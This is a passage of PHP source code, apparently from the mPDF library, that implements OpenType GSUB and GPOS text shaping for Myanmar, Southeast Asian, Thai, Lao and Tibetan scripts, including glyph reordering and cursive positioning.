$this->_applyTagSettings($tags, $GSUBFeatures, $omittags, false); } if ($this->shaper == 'K') { // Features are applied one at a time, working through each codepoint $this->_applyGSUBrulesSingly($usetags, $GSUBscriptTag, $GSUBlangsys); } else { $this->_applyGSUBrules($usetags, $GSUBscriptTag, $GSUBlangsys); } $this->restrictToSyllable = false; } // 5(M). GSUB - Shaper - MYANMAR (ONLY mym2) //============================== // NB Old style 'mymr' is left to go through the default shaper elseif ($this->shaper == 'M') { $this->restrictToSyllable = true; //----------------------------------------------------------------------------------- // a. Analyse characters - group as syllables/clusters (Myanmar); invalid diacritics; add dotted circle //----------------------------------------------------------------------------------- $myanmar_category_string = ''; foreach ($this->OTLdata as $eid => $c) { Myanmar::set_myanmar_properties($this->OTLdata[$eid]); // sets ['myanmar_category'] and ['myanmar_position'] $myanmar_category_string .= Myanmar::$myanmar_category_char[$this->OTLdata[$eid]['myanmar_category']]; } $broken_syllables = false; Myanmar::set_syllables($this->OTLdata, $myanmar_category_string, $broken_syllables); $myanmar_category_string = ''; //----------------------------------------------------------------------------------- // b. Re-ordering (Myanmar mym2) //----------------------------------------------------------------------------------- $dottedcircle = false; if ($broken_syllables) { if ($this->mpdf->_charDefined($this->mpdf->fonts[$this->fontkey]['cw'], 0x25CC)) { $dottedcircle = []; $ucd_record = Ucdn::get_ucd_record(0x25CC); $dottedcircle[0]['general_category'] = $ucd_record[0]; $dottedcircle[0]['bidi_type'] = $ucd_record[2]; $dottedcircle[0]['group'] = 'C'; $dottedcircle[0]['uni'] = 0x25CC; $dottedcircle[0]['myanmar_category'] = Myanmar::OT_DOTTEDCIRCLE; $dottedcircle[0]['myanmar_position'] = Myanmar::POS_BASE_C; $dottedcircle[0]['hex'] = '025CC'; } } Myanmar::reordering($this->OTLdata, $this->GSUBdata[$this->GSUBfont], $broken_syllables, $dottedcircle); //----------------------------------------------------------------------------------- // c. Apply initial and basic shaping forms GSUB Lookups (one at a time) //----------------------------------------------------------------------------------- $tags = 'locl ccmp rphf pref blwf pstf'; $this->_applyGSUBrulesMyanmar($tags, $GSUBscriptTag, $GSUBlangsys); //----------------------------------------------------------------------------------- // d. Apply Presentation Forms GSUB Lookups (+ any discretionary) //----------------------------------------------------------------------------------- $tags = 'pres abvs blws psts haln rlig calt liga clig mset'; $omittags = 'locl ccmp nukt akhn rphf rkrf pref blwf abvf half pstf cfar vatu cjct init medi fina isol med2 fin2 fin3 ljmo vjmo tjmo'; $usetags = $tags; if (!empty($this->mpdf->OTLtags)) { $usetags = $this->_applyTagSettings($tags, $GSUBFeatures, $omittags, false); } $this->_applyGSUBrules($usetags, $GSUBscriptTag, $GSUBlangsys); $this->restrictToSyllable = false; } // 5(E). GSUB - Shaper - SEA South East Asian (New Tai Lue, Cham, Tai Tam) //============================== elseif ($this->shaper == 'E') { /* HarfBuzz says: If the designer designed the font for the 'DFLT' script, * use the default shaper. Otherwise, use the SEA shaper. * Note that for some simple scripts, there may not be *any* * GSUB/GPOS needed, so there may be no scripts found! */ $this->restrictToSyllable = true; //----------------------------------------------------------------------------------- // a. Analyse characters - group as syllables/clusters (Indic); invalid diacritics; add dotted circle //----------------------------------------------------------------------------------- $sea_category_string = ''; foreach ($this->OTLdata as $eid => $c) { Sea::set_sea_properties($this->OTLdata[$eid], $scriptblock); // sets ['sea_category'] and ['sea_position'] //$c['general_category'] //$c['combining_class'] //$c['uni'] = $char; $sea_category_string .= Sea::$sea_category_char[$this->OTLdata[$eid]['sea_category']]; } $broken_syllables = false; Sea::set_syllables($this->OTLdata, $sea_category_string, $broken_syllables); $sea_category_string = ''; //----------------------------------------------------------------------------------- // b. Apply locl and ccmp shaping forms - before initial re-ordering; GSUB Lookups (one at a time) //----------------------------------------------------------------------------------- $tags = 'locl ccmp'; $this->_applyGSUBrulesSingly($tags, $GSUBscriptTag, $GSUBlangsys); //----------------------------------------------------------------------------------- // c. Initial Re-ordering //----------------------------------------------------------------------------------- // Find base consonant // Decompose/compose and reorder Matras // Reorder marks to canonical order $dottedcircle = false; if ($broken_syllables) { if ($this->mpdf->_charDefined($this->mpdf->fonts[$this->fontkey]['cw'], 0x25CC)) { $dottedcircle = []; $ucd_record = Ucdn::get_ucd_record(0x25CC); $dottedcircle[0]['general_category'] = $ucd_record[0]; $dottedcircle[0]['bidi_type'] = $ucd_record[2]; $dottedcircle[0]['group'] = 'C'; $dottedcircle[0]['uni'] = 0x25CC; $dottedcircle[0]['sea_category'] = Sea::OT_GB; $dottedcircle[0]['sea_position'] = Sea::POS_BASE_C; $dottedcircle[0]['hex'] = '025CC'; // TEMPORARY ***** } } Sea::initial_reordering($this->OTLdata, $this->GSUBdata[$this->GSUBfont], $broken_syllables, $scriptblock, $dottedcircle); //----------------------------------------------------------------------------------- // d. Apply basic shaping forms GSUB Lookups (one at a time) //----------------------------------------------------------------------------------- $tags = 'pref abvf blwf pstf'; $this->_applyGSUBrulesSingly($tags, $GSUBscriptTag, $GSUBlangsys); //----------------------------------------------------------------------------------- // e. Final Re-ordering //----------------------------------------------------------------------------------- Sea::final_reordering($this->OTLdata, $this->GSUBdata[$this->GSUBfont], $scriptblock); //----------------------------------------------------------------------------------- // f. Apply Presentation Forms GSUB Lookups (+ any discretionary) //----------------------------------------------------------------------------------- $tags = 'pres abvs blws psts'; $omittags = 'locl ccmp nukt akhn rphf rkrf pref blwf abvf half pstf cfar vatu cjct init medi fina isol med2 fin2 fin3 ljmo vjmo tjmo'; $usetags = $tags; if (!empty($this->mpdf->OTLtags)) { $usetags = $this->_applyTagSettings($tags, $GSUBFeatures, $omittags, false); } $this->_applyGSUBrules($usetags, $GSUBscriptTag, $GSUBlangsys); $this->restrictToSyllable = false; } // 5(D). GSUB - Shaper - DEFAULT (including THAI and LAO and MYANMAR v1 [mymr] and TIBETAN) //============================== else { // DEFAULT //----------------------------------------------------------------------------------- // a. First decompose/compose in Thai / Lao - Tibetan //----------------------------------------------------------------------------------- // Decomposition for THAI or LAO /* This function implements the shaping logic documented here: * * http://linux.thai.net/~thep/th-otf/shaping.html * * The first shaping rule listed there is needed even if the font has Thai * OpenType tables. * * * The following is NOT specified in the MS OT Thai spec, however, it seems * to be what Uniscribe and other engines implement. According to Eric Muller: * * When you have a SARA AM, decompose it in NIKHAHIT + SARA AA, *and* move the * NIKHAHIT backwards over any tone mark (0E48-0E4B). * * <0E14, 0E4B, 0E33> -> <0E14, 0E4D, 0E4B, 0E32> * * This reordering is legit only when the NIKHAHIT comes from a SARA AM, not * when it's there to start with. The string <0E14, 0E4B, 0E4D> is probably * not what a user wanted, but the rendering is nevertheless nikhahit above * chattawa. * * Same for Lao. * * Thai Lao * SARA AM: U+0E33 U+0EB3 * SARA AA: U+0E32 U+0EB2 * Nikhahit: U+0E4D U+0ECD * * Testing shows that Uniscribe reorder the following marks: * Thai: <0E31,0E34..0E37,0E47..0E4E> * Lao: <0EB1,0EB4..0EB7,0EC7..0ECE> * * Lao versions are the same as Thai + 0x80. */ if ($this->shaper == 'T' || $this->shaper == 'L') { for ($ptr = 0; $ptr < count($this->OTLdata); $ptr++) { $char = $this->OTLdata[$ptr]['uni']; if (($char & ~0x0080) == 0x0E33) { // if SARA_AM (U+0E33 or U+0EB3) $NIKHAHIT = $char + 0x1A; $SARA_AA = $char - 1; $sub = [$SARA_AA, $NIKHAHIT]; $newinfo = []; $ucd_record = Ucdn::get_ucd_record($sub[0]); $newinfo[0]['general_category'] = $ucd_record[0]; $newinfo[0]['bidi_type'] = $ucd_record[2]; $charasstr = $this->unicode_hex($sub[0]); if (strpos($this->GlyphClassMarks, $charasstr) !== false) { $newinfo[0]['group'] = 'M'; } else { $newinfo[0]['group'] = 'C'; } $newinfo[0]['uni'] = $sub[0]; $newinfo[0]['hex'] = $charasstr; $this->OTLdata[$ptr] = $newinfo[0]; // Substitute SARA_AM => SARA_AA $ntones = 0; // number of (preceding) tone marks // IS_TONE_MARK ((x) & ~0x0080, 0x0E34 - 0x0E37, 0x0E47 - 0x0E4E, 0x0E31) while (isset($this->OTLdata[$ptr - 1 - $ntones]) && ( ($this->OTLdata[$ptr - 1 - $ntones]['uni'] & ~0x0080) == 0x0E31 || (($this->OTLdata[$ptr - 1 - $ntones]['uni'] & ~0x0080) >= 0x0E34 && ($this->OTLdata[$ptr - 1 - $ntones]['uni'] & ~0x0080) <= 0x0E37) || (($this->OTLdata[$ptr - 1 - $ntones]['uni'] & ~0x0080) >= 0x0E47 && ($this->OTLdata[$ptr - 1 - $ntones]['uni'] & ~0x0080) <= 0x0E4E) ) ) { $ntones++; } $newinfo = []; $ucd_record = Ucdn::get_ucd_record($sub[1]); $newinfo[0]['general_category'] = $ucd_record[0]; $newinfo[0]['bidi_type'] = $ucd_record[2]; $charasstr = $this->unicode_hex($sub[1]); if (strpos($this->GlyphClassMarks, $charasstr) !== false) { $newinfo[0]['group'] = 'M'; } else { $newinfo[0]['group'] = 'C'; } $newinfo[0]['uni'] = $sub[1]; $newinfo[0]['hex'] = $charasstr; // Insert NIKAHIT array_splice($this->OTLdata, $ptr - $ntones, 0, $newinfo); $ptr++; } } } if ($scriptblock == Ucdn::SCRIPT_TIBETAN) { // ========================= // Reordering TIBETAN // ========================= // Tibetan does not need to need a shaper generally, as long as characters are presented in the correct order // so we will do one minor change here: // From ICU: If the present character is a number, and the next character is a pre-number combining mark // then the two characters are reordered // From MS OTL spec the following are Digit modifiers (Md): 0F18–0F19, 0F3E–0F3F // Digits: 0F20–0F33 // On testing only 0x0F3F (pre-based mark) seems to need re-ordering for ($ptr = 0; $ptr < count($this->OTLdata) - 1; $ptr++) { if (Indic::in_range($this->OTLdata[$ptr]['uni'], 0x0F20, 0x0F33) && $this->OTLdata[$ptr + 1]['uni'] == 0x0F3F) { $tmp = $this->OTLdata[$ptr + 1]; $this->OTLdata[$ptr + 1] = $this->OTLdata[$ptr]; $this->OTLdata[$ptr] = $tmp; } } // ========================= // Decomposition for TIBETAN // ========================= /* Recommended, but does not seem to change anything... for($ptr=0; $ptr<count($this->OTLdata); $ptr++) { $char = $this->OTLdata[$ptr]['uni']; $sub = Indic::decompose_indic($char); if ($sub) { $newinfo = array(); for($i=0;$i<count($sub);$i++) { $newinfo[$i] = array(); $ucd_record = Ucdn::get_ucd_record($sub[$i]); $newinfo[$i]['general_category'] = $ucd_record[0]; $newinfo[$i]['bidi_type'] = $ucd_record[2]; $charasstr = $this->unicode_hex($sub[$i]); if (strpos($this->GlyphClassMarks, $charasstr)!==false) { $newinfo[$i]['group'] = 'M'; } else { $newinfo[$i]['group'] = 'C'; } $newinfo[$i]['uni'] = $sub[$i]; $newinfo[$i]['hex'] = $charasstr; } array_splice($this->OTLdata, $ptr, 1, $newinfo); $ptr += count($sub)-1; } } */ } //----------------------------------------------------------------------------------- // b. Apply all GSUB Lookups (in order specified in lookup list) //----------------------------------------------------------------------------------- $tags = 'locl ccmp pref blwf abvf pstf pres abvs blws psts haln rlig calt liga clig mset RQD'; // pref blwf abvf pstf required for Tibetan // " RQD" is a non-standard tag in Garuda font - presumably intended to be used by default ? "ReQuireD" // Being a 3 letter tag is non-standard, and does not allow it to be set by font-feature-settings /* ?Add these until shapers witten? Hangul: ljmo vjmo tjmo */ $omittags = ''; $useGSUBtags = $tags; if (!empty($this->mpdf->OTLtags)) { $useGSUBtags = $this->_applyTagSettings($tags, $GSUBFeatures, $omittags, false); } // APPLY GSUB rules (as long as not Latin + SmallCaps - but not OTL smcp) if (!(($this->mpdf->textvar & TextVars::FC_SMALLCAPS) && $scriptblock == Ucdn::SCRIPT_LATIN && strpos($useGSUBtags, 'smcp') === false)) { $this->_applyGSUBrules($useGSUBtags, $GSUBscriptTag, $GSUBlangsys); } } } // Shapers - KHMER & THAI & LAO - Replace Word boundary marker with U+200B // Also TIBETAN (no shaper) //======================================================= if (($this->shaper == "K" || $this->shaper == "T" || $this->shaper == "L") || $scriptblock == Ucdn::SCRIPT_TIBETAN) { // Set up properties to insert a U+200B character $newinfo = []; //$newinfo[0] = array('general_category' => 1, 'bidi_type' => 14, 'group' => 'S', 'uni' => 0x200B, 'hex' => '0200B'); $newinfo[0] = [ 'general_category' => Ucdn::UNICODE_GENERAL_CATEGORY_FORMAT, 'bidi_type' => Ucdn::BIDI_CLASS_BN, 'group' => 'S', 'uni' => 0x200B, 'hex' => '0200B']; // Then insert U+200B at (after) all word end boundaries for ($i = count($this->OTLdata) - 1; $i > 0; $i--) { // Make sure after GSUB that wordend has not been moved - check next char is not in the same syllable if (isset($this->OTLdata[$i]['wordend']) && $this->OTLdata[$i]['wordend'] && isset($this->OTLdata[$i + 1]['uni']) && (!isset($this->OTLdata[$i + 1]['syllable']) || !isset($this->OTLdata[$i + 1]['syllable']) || $this->OTLdata[$i + 1]['syllable'] != $this->OTLdata[$i]['syllable'])) { array_splice($this->OTLdata, $i + 1, 0, $newinfo); $this->_updateLigatureMarks($i, 1); } elseif ($this->OTLdata[$i]['uni'] == 0x2e) { // Word end if Full-stop. array_splice($this->OTLdata, $i + 1, 0, $newinfo); $this->_updateLigatureMarks($i, 1); } } } // Shapers - INDIC & ARABIC & KHMER & SINHALA & MYANMAR - Remove ZWJ and ZWNJ //======================================================= if ($this->shaper == 'I' || $this->shaper == 'S' || $this->shaper == 'A' || $this->shaper == 'K' || $this->shaper == 'M') { // Remove ZWJ and ZWNJ for ($i = 0; $i < count($this->OTLdata); $i++) { if ($this->OTLdata[$i]['uni'] == 8204 || $this->OTLdata[$i]['uni'] == 8205) { array_splice($this->OTLdata, $i, 1); $this->_updateLigatureMarks($i, -1); } } } //////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////// ////////// GPOS ///////////////////////////////// //////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////// if (($useOTL & 0xFF) && $GPOSscriptTag && $GPOSlangsys && $GPOSFeatures) { $this->Entry = []; $this->Exit = []; // 6. Load GPOS data, Coverage & Lookups //================================================================= $fontCacheFilename = $this->mpdf->CurrentFont['fontkey'] . '.GPOSdata.json'; if (!isset($this->GPOSdata[$this->fontkey]) && $this->fontCache->jsonHas($fontCacheFilename)) { $this->LuCoverage = $this->GPOSdata[$this->fontkey]['LuCoverage'] = $this->fontCache->jsonLoad($fontCacheFilename); } else { $this->LuCoverage = $this->GPOSdata[$this->fontkey]['LuCoverage']; } $this->GPOSLookups = $this->mpdf->CurrentFont['GPOSLookups']; // 7. Select Feature tags to use (incl optional) //============================== $tags = 'abvm blwm mark mkmk curs cpsp dist requ'; // Default set // 'requ' is not listed in the Microsoft registry of Feature tags // Found in Arial Unicode MS, it repositions the baseline for punctuation in Kannada script // ZZZ96 // Set kern to be included by default in non-Latin script (? just when shapers used) // Kern is used in some fonts to reposition marks etc. and is essential for correct display //if ($this->shaper) {$tags .= ' kern'; } if ($scriptblock != Ucdn::SCRIPT_LATIN) { $tags .= ' kern'; } $omittags = ''; $usetags = $tags; if (!empty($this->mpdf->OTLtags)) { $usetags = $this->_applyTagSettings($tags, $GPOSFeatures, $omittags, false); } // 8. Get GPOS LookupList from Feature tags //============================== $LookupList = []; foreach ($GPOSFeatures as $tag => $arr) { if (strpos($usetags, $tag) !== false) { foreach ($arr as $lu) { $LookupList[$lu] = $tag; } } } ksort($LookupList); // 9. Apply GPOS Lookups (in order specified in lookup list but selecting from specified tags) //============================== // APPLY THE GPOS RULES (as long as not Latin + SmallCaps - but not OTL smcp) if (!(($this->mpdf->textvar & TextVars::FC_SMALLCAPS) && $scriptblock == Ucdn::SCRIPT_LATIN && strpos($useGSUBtags, 'smcp') === false)) { $this->_applyGPOSrules($LookupList, $is_old_spec); // (sets: $this->OTLdata[n]['GPOSinfo'] XPlacement YPlacement XAdvance Entry Exit ) } // 10. Process cursive text //============================== if (count($this->Entry) || count($this->Exit)) { // RTL $incurs = false; for ($i = (count($this->OTLdata) - 1); $i >= 0; $i--) { if (isset($this->Entry[$i]) && isset($this->Entry[$i]['Y']) && $this->Entry[$i]['dir'] == 'RTL') { $nextbase = $i - 1; // Set as next base ignoring marks (next base reading RTL in logical oder while (isset($this->OTLdata[$nextbase]['hex']) && strpos($this->GlyphClassMarks, $this->OTLdata[$nextbase]['hex']) !== false) { $nextbase--; } if (isset($this->Exit[$nextbase]) && isset($this->Exit[$nextbase]['Y'])) { $diff = $this->Entry[$i]['Y'] - $this->Exit[$nextbase]['Y']; if ($incurs === false) { $incurs = $diff; } else { $incurs += $diff; } for ($j = ($i - 1); $j >= $nextbase; $j--) { if (isset($this->OTLdata[$j]['GPOSinfo']['YPlacement'])) { $this->OTLdata[$j]['GPOSinfo']['YPlacement'] += $incurs; } else { $this->OTLdata[$j]['GPOSinfo']['YPlacement'] = $incurs; } } if (isset($this->Exit[$i]['X']) && isset($this->Entry[$nextbase]['X'])) { $adj = -($this->Entry[$i]['X'] - $this->Exit[$nextbase]['X']); // If XAdvance is aplied - in order for PDF to position the Advance correctly need to place it on: // in RTL - the current glyph or the last of any associated marks if (isset($this->OTLdata[$nextbase + 1]['GPOSinfo']['XAdvance'])) { $this->OTLdata[$nextbase + 1]['GPOSinfo']['XAdvance'] += $adj; } else { $this->OTLdata[$nextbase + 1]['GPOSinfo']['XAdvance'] = $adj; } } } else { $incurs = false; } } elseif (strpos($this->GlyphClassMarks, $this->OTLdata[$i]['hex']) !== false) { continue; } // ignore Marks else { $incurs = false; } } // LTR $incurs = false; for ($i = 0; $i < count($this->OTLdata); $i++) { if (isset($this->Exit[$i]) && isset($this->Exit[$i]['Y']) && $this->Exit[$i]['dir'] == 'LTR') { $nextbase = $i + 1; // Set as next base ignoring marks while (strpos($this->GlyphClassMarks, $this->OTLdata[$nextbase]['hex']) !== false) { $nextbase++; } if (isset($this->Entry[$nextbase]) && isset($this->Entry[$nextbase]['Y'])) { $diff = $this->Exit[$i]['Y'] - $this->Entry[$nextbase]['Y']; if ($incurs === false) { $incurs = $diff; } else { $incurs += $diff; } for ($j = ($i + 1); $j <= $nextbase; $j++) { if (isset($this->OTLdata[$j]['GPOSinfo']['YPlacement'])) { $this->OTLdata[$j]['GPOSinfo']['YPlacement'] += $incurs; } else { $this->OTLdata[$j]['GPOSinfo']['YPlacement'] = $incurs; } } if (isset($this->Exit[$i]['X']) && isset($this->Entry[$nextbase]['X'])) { $adj = -($this->Exit[$i]['X'] - $this->Entry[$nextbase]['X']); // If XAdvance is aplied - in order for PDF to position the Advance correctly need to place it on: // in LTR - the next glyph, ignoring marks if (isset($this->OTLdata[$nextbase]['GPOSinfo']['XAdvance'])) { $this->OTLdata[$nextbase]['GPOSinfo']['XAdvance'] += $adj; } else { $this->OTLdata[$nextbase]['GPOSinfo']['XAdvance'] = $adj; } } } else { $incurs = false; } } elseif (strpos($this->GlyphClassMarks, $this->OTLdata[$i]['hex']) !== false) { continue; } // ignore Marks else { $incurs = false; } } } } // end GPOS if ($this->debugOTL) { $this->_dumpproc('END', '-', '-', '-', '-', 0, '-', 0); exit; } $this->schOTLdata[$sch] = $this->OTLdata; $this->OTLdata = []; } // END foreach subchunk // 11. Re-assemble and return text string //============================== $newGPOSinfo = []; $newOTLdata = []; $newchar_data = []; $newgroup = ''; $e = ''; $ectr = 0; for ($sch = 0; $sch <= $subchunk; $sch++) { for ($i = 0; $i < count($this->schOTLdata[$sch]); $i++) { if (isset($this->schOTLdata[$sch][$i]['GPOSinfo'])) { $newGPOSinfo[$ectr] = $this->schOTLdata[$sch][$i]['GPOSinfo']; } $newchar_data[$ectr] = ['bidi_class' => $this->schOTLdata[$sch][$i]['bidi_type'], 'uni' => $this->schOTLdata[$sch][$i]['uni']]; $newgroup .= $this->schOTLdata[$sch][$i]['group']; $e .= UtfString::code2utf($this->schOTLdata[$sch][$i]['uni']); if (isset($this->mpdf->CurrentFont['subset'])) { $this->mpdf->CurrentFont['subset'][$this->schOTLdata[$sch][$i]['uni']] = $this->schOTLdata[$sch][$i]['uni']; } $ectr++; } } $this->OTLdata['GPOSinfo'] = $newGPOSinfo; $this->OTLdata['char_data'] = $newchar_data; $this->OTLdata['group'] = $newgroup; // This leaves OTLdata::GPOSinfo, ::bidi_type, & ::group return $e; } function _applyTagSettings($tags, $Features, $omittags = '', $onlytags = false) { if (empty($this->mpdf->OTLtags['Plus']) && empty($this->mpdf->OTLtags['Minus']) && empty($this->mpdf->OTLtags['FFPlus']) && empty($this->mpdf->OTLtags['FFMinus'])) { return $tags; } // Use $tags as starting point $usetags = $tags; // Only set / unset tags which are in the font // Ignore tags which are in $omittags // If $onlytags, then just unset tags which are already in the Tag list $fp = $fm = $ffp = $ffm = ''; // Font features to enable - set by font-variant-xx if (isset($this->mpdf->OTLtags['Plus'])) { $fp = $this->mpdf->OTLtags['Plus']; } preg_match_all('/([a-zA-Z0-9]{4})/', $fp, $m); for ($i = 0; $i < count($m[0]); $i++) { $t = $m[1][$i]; // Is it a valid tag? if (isset($Features[$t]) && strpos($omittags, $t) === false && (!$onlytags || strpos($tags, $t) !== false )) { $usetags .= ' ' . $t; } } // Font features to disable - set by font-variant-xx if (isset($this->mpdf->OTLtags['Minus'])) { $fm = $this->mpdf->OTLtags['Minus']; } preg_match_all('/([a-zA-Z0-9]{4})/', $fm, $m); for ($i = 0; $i < count($m[0]); $i++) { $t = $m[1][$i]; // Is it a valid tag? if (isset($Features[$t]) && strpos($omittags, $t) === false && (!$onlytags || strpos($tags, $t) !== false )) { $usetags = str_replace($t, '', $usetags); } } // Font features to enable - set by font-feature-settings if (isset($this->mpdf->OTLtags['FFPlus'])) { $ffp = $this->mpdf->OTLtags['FFPlus']; // Font Features - may include integer: salt4 } preg_match_all('/([a-zA-Z0-9]{4})([\d+]*)/', $ffp, $m); for ($i = 0; $i < count($m[0]); $i++) { $t = $m[1][$i]; // Is it a valid tag? if (isset($Features[$t]) && strpos($omittags, $t) === false && (!$onlytags || strpos($tags, $t) !== false )) { $usetags .= ' ' . $m[0][$i]; // - may include integer: salt4 } } // Font features to disable - set by font-feature-settings if (isset($this->mpdf->OTLtags['FFMinus'])) { $ffm = $this->mpdf->OTLtags['FFMinus']; } preg_match_all('/([a-zA-Z0-9]{4})/', $ffm, $m); for ($i = 0; $i < count($m[0]); $i++) { $t = $m[1][$i]; // Is it a valid tag? if (isset($Features[$t]) && strpos($omittags, $t) === false && (!$onlytags || strpos($tags, $t) !== false )) { $usetags = str_replace($t, '', $usetags); } } return $usetags; } function _applyGSUBrules($usetags, $scriptTag, $langsys) { // Features from all Tags are applied together, in Lookup List order. // For Indic - should be applied one syllable at a time // - Implemented in functions checkContextMatch and checkContextMatchMultiple by failing to match if outside scope of current 'syllable' // if $this->restrictToSyllable is true $GSUBFeatures = $this->mpdf->CurrentFont['GSUBFeatures'][$scriptTag][$langsys]; $LookupList = []; foreach ($GSUBFeatures as $tag => $arr) { if (strpos($usetags, $tag) !== false) { foreach ($arr as $lu) { $LookupList[$lu] = $tag; } } } ksort($LookupList); foreach ($LookupList as $lu => $tag) { $Type = $this->GSUBLookups[$lu]['Type']; $Flag = $this->GSUBLookups[$lu]['Flag']; $MarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $tagInt = 1; if (preg_match('/' . $tag . '([0-9]{1,2})/', $usetags, $m)) { $tagInt = $m[1]; } $ptr = 0; // Test each glyph sequentially while ($ptr < (count($this->OTLdata))) { // whilst there is another glyph ..0064 $currGlyph = $this->OTLdata[$ptr]['hex']; $currGID = $this->OTLdata[$ptr]['uni']; $shift = 1; foreach ($this->GSUBLookups[$lu]['Subtables'] as $c => $subtable_offset) { // NB Coverage only looks at glyphs for position 1 (esp. 7.3 and 8.3) if (isset($this->GSLuCoverage[$lu][$c][$currGID])) { // Get rules from font GSUB subtable $shift = $this->_applyGSUBsubtable($lu, $c, $ptr, $currGlyph, $currGID, ($subtable_offset - $this->GSUB_offset), $Type, $Flag, $MarkFilteringSet, $this->GSLuCoverage[$lu][$c], 0, $tag, 0, $tagInt); if ($shift) { break; } } } if ($shift == 0) { $shift = 1; } $ptr += $shift; } } } function _applyGSUBrulesSingly($usetags, $scriptTag, $langsys) { // Features are applied one at a time, working through each codepoint $GSUBFeatures = $this->mpdf->CurrentFont['GSUBFeatures'][$scriptTag][$langsys]; $tags = explode(' ', $usetags); foreach ($tags as $usetag) { $LookupList = []; foreach ($GSUBFeatures as $tag => $arr) { if (strpos($usetags, $tag) !== false) { foreach ($arr as $lu) { $LookupList[$lu] = $tag; } } } ksort($LookupList); $ptr = 0; // Test each glyph sequentially while ($ptr < (count($this->OTLdata))) { // whilst there is another glyph ..0064 $currGlyph = $this->OTLdata[$ptr]['hex']; $currGID = $this->OTLdata[$ptr]['uni']; $shift = 1; foreach ($LookupList as $lu => $tag) { $Type = $this->GSUBLookups[$lu]['Type']; $Flag = $this->GSUBLookups[$lu]['Flag']; $MarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $tagInt = 1; if (preg_match('/' . $tag . '([0-9]{1,2})/', $usetags, $m)) { $tagInt = $m[1]; } foreach ($this->GSUBLookups[$lu]['Subtables'] as $c => $subtable_offset) { // NB Coverage only looks at glyphs for position 1 (esp. 7.3 and 8.3) if (isset($this->GSLuCoverage[$lu][$c][$currGID])) { // Get rules from font GSUB subtable $shift = $this->_applyGSUBsubtable($lu, $c, $ptr, $currGlyph, $currGID, ($subtable_offset - $this->GSUB_offset), $Type, $Flag, $MarkFilteringSet, $this->GSLuCoverage[$lu][$c], 0, $tag, 0, $tagInt); if ($shift) { break 2; } } } } if ($shift == 0) { $shift = 1; } $ptr += $shift; } } } function _applyGSUBrulesMyanmar($usetags, $scriptTag, $langsys) { // $usetags = locl ccmp rphf pref blwf pstf'; // applied to all characters $GSUBFeatures = $this->mpdf->CurrentFont['GSUBFeatures'][$scriptTag][$langsys]; // ALL should be applied one syllable at a time // Implemented in functions checkContextMatch and checkContextMatchMultiple by failing to match if outside scope of current 'syllable' $tags = explode(' ', $usetags); foreach ($tags as $usetag) { $LookupList = []; foreach ($GSUBFeatures as $tag => $arr) { if ($tag == $usetag) { foreach ($arr as $lu) { $LookupList[$lu] = $tag; } } } ksort($LookupList); foreach ($LookupList as $lu => $tag) { $Type = $this->GSUBLookups[$lu]['Type']; $Flag = $this->GSUBLookups[$lu]['Flag']; $MarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $tagInt = 1; if (preg_match('/' . $tag . '([0-9]{1,2})/', $usetags, $m)) { $tagInt = $m[1]; } $ptr = 0; // Test each glyph sequentially while ($ptr < (count($this->OTLdata))) { // whilst there is another glyph ..0064 $currGlyph = $this->OTLdata[$ptr]['hex']; $currGID = $this->OTLdata[$ptr]['uni']; $shift = 1; foreach ($this->GSUBLookups[$lu]['Subtables'] as $c => $subtable_offset) { // NB Coverage only looks at glyphs for position 1 (esp. 7.3 and 8.3) if (isset($this->GSLuCoverage[$lu][$c][$currGID])) { // Get rules from font GSUB subtable $shift = $this->_applyGSUBsubtable($lu, $c, $ptr, $currGlyph, $currGID, ($subtable_offset - $this->GSUB_offset), $Type, $Flag, $MarkFilteringSet, $this->GSLuCoverage[$lu][$c], 0, $usetag, 0, $tagInt); if ($shift) { break; } } } if ($shift == 0) { $shift = 1; } $ptr += $shift; } } } } function _applyGSUBrulesIndic($usetags, $scriptTag, $langsys, $is_old_spec) { // $usetags = 'locl ccmp nukt akhn rphf rkrf pref blwf half pstf vatu cjct'; then later - init // rphf, pref, blwf, half, abvf, pstf, and init are only applied where ['mask'] indicates: Indic::FLAG(Indic::RPHF); // The rest are applied to all characters $GSUBFeatures = $this->mpdf->CurrentFont['GSUBFeatures'][$scriptTag][$langsys]; // ALL should be applied one syllable at a time // Implemented in functions checkContextMatch and checkContextMatchMultiple by failing to match if outside scope of current 'syllable' $tags = explode(' ', $usetags); foreach ($tags as $usetag) { $LookupList = []; foreach ($GSUBFeatures as $tag => $arr) { if ($tag == $usetag) { foreach ($arr as $lu) { $LookupList[$lu] = $tag; } } } ksort($LookupList); foreach ($LookupList as $lu => $tag) { $Type = $this->GSUBLookups[$lu]['Type']; $Flag = $this->GSUBLookups[$lu]['Flag']; $MarkFilteringSet = $this->GSUBLookups[$lu]['MarkFilteringSet']; $tagInt = 1; if (preg_match('/' . $tag . '([0-9]{1,2})/', $usetags, $m)) { $tagInt = $m[1]; } $ptr = 0; // Test each glyph sequentially while ($ptr < (count($this->OTLdata))) { // whilst there is another glyph ..0064 $currGlyph = $this->OTLdata[$ptr]['hex']; $currGID = $this->OTLdata[$ptr]['uni']; $shift = 1; foreach ($this->GSUBLookups[$lu]['Subtables'] as $c => $subtable_offset) { // NB Coverage only looks at glyphs for position 1 (esp. 7.3 and 8.3) if (isset($this->GSLuCoverage[$lu][$c][$currGID])) { if (strpos('rphf pref blwf half pstf cfar init', $usetag) !== false) { // only apply when mask indicates $mask = 0; switch ($usetag) { case 'rphf': $mask = (1 << (Indic::RPHF)); break; case 'pref': $mask = (1 << (Indic::PREF)); break; case 'blwf': $mask = (1 << (Indic::BLWF)); break; case 'half': $mask = (1 << (Indic::HALF)); break; case 'pstf': $mask = (1 << (Indic::PSTF)); break; case 'cfar': $mask = (1 << (Indic::CFAR)); break; case 'init': $mask = (1 << (Indic::INIT)); break; } if (!($this->OTLdata[$ptr]['mask'] & $mask)) { continue; } } // Get rules from font GSUB subtable $shift = $this->_applyGSUBsubtable($lu, $c, $ptr, $currGlyph, $currGID, ($subtable_offset - $this->GSUB_offset), $Type, $Flag, $MarkFilteringSet, $this->GSLuCoverage[$lu][$c], 0, $usetag, $is_old_spec, $tagInt); if ($shift) { break; } } // Special case for Indic ZZZ99S // Check to substitute Halant-Consonant in PREF, BLWF or PSTF // i.e. new spec but GSUB tables have Consonant-Halant in Lookups e.g. FreeSerif, which // incorrectly just moved old spec tables to new spec. Uniscribe seems to cope with 